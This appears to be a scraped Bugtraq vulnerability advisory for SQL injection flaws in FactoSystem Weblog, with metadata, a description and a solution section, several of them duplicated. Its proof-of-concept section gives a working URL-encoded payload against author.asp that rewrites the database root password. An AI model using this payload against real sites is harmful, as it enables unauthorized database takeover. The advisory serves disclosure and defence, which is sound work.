FactoSystem Weblog Multiple SQL Injection Vulnerabilities
BID:5600
Info
FactoSystem Weblog Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 5600 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-1499 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 31 2002 12:00AM |
| Updated: | Jul 11 2009 03:56PM |
| Credit: | Vulnerability discovery credited to Matthew Murphy <[email protected]>. |
| Vulnerable: |
FactoSystem FactoSystem Weblog 1.1 Beta FactoSystem FactoSystem Weblog 1.0 Beta FactoSystem FactoSystem Weblog 0.9 b |
| Not Vulnerable: | |
Discussion
FactoSystem Weblog Multiple SQL Injection Vulnerabilities
FactoSystem Weblog is a freely available, open source software package for weblogging and managing content. It is available for Microsoft Windows operating systems.
FactoSystem does not adequately filter special characters from requests. Because of this, it may be possible for a remote user to submit a request containing encoded special characters and SQL, and execute arbitrary commands. This could lead to execution of SQL commands in the security context of web database user.
FactoSystem Weblog is a freely available, open source software package for weblogging and managing content. It is available for Microsoft Windows operating systems.
FactoSystem does not adequately filter special characters from requests. Because of this, it may be possible for a remote user to submit a request containing encoded special characters and SQL, and execute arbitrary commands. This could lead to execution of SQL commands in the security context of web database user.
Exploit / POC
FactoSystem Weblog Multiple SQL Injection Vulnerabilities
The following example was contributed by Matthew Murphy <[email protected]>:
http://www.example.com/author.asp?authornumber=1%28%20And%20AuthorTable%2EAuthorID%3DBlurbTable%2EAuthorID%20And%20BlurbTable%2ESub_id%3DSubjectTable%2ESub_id%20Order%20By%20BlurbTable%2EBlurbdate%20desc%2C%20blurbtable%2Eblurbtime%20desc%3BUPDATE%20user%20SET%20Password%3DPASSWORD%28%27password%27%29%20WHERE%20user%3D%27root%27%3B%20FLUSH%20PRIVILEGES%3B--
The following example was contributed by Matthew Murphy <[email protected]>:
http://www.example.com/author.asp?authornumber=1%28%20And%20AuthorTable%2EAuthorID%3DBlurbTable%2EAuthorID%20And%20BlurbTable%2ESub_id%3DSubjectTable%2ESub_id%20Order%20By%20BlurbTable%2EBlurbdate%20desc%2C%20blurbtable%2Eblurbtime%20desc%3BUPDATE%20user%20SET%20Password%3DPASSWORD%28%27password%27%29%20WHERE%20user%3D%27root%27%3B%20FLUSH%20PRIVILEGES%3B--
Solution / Fix
FactoSystem Weblog Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
FactoSystem Weblog Multiple SQL Injection Vulnerabilities
References:
References:
- FactoSystem Homepage (FactoSystem)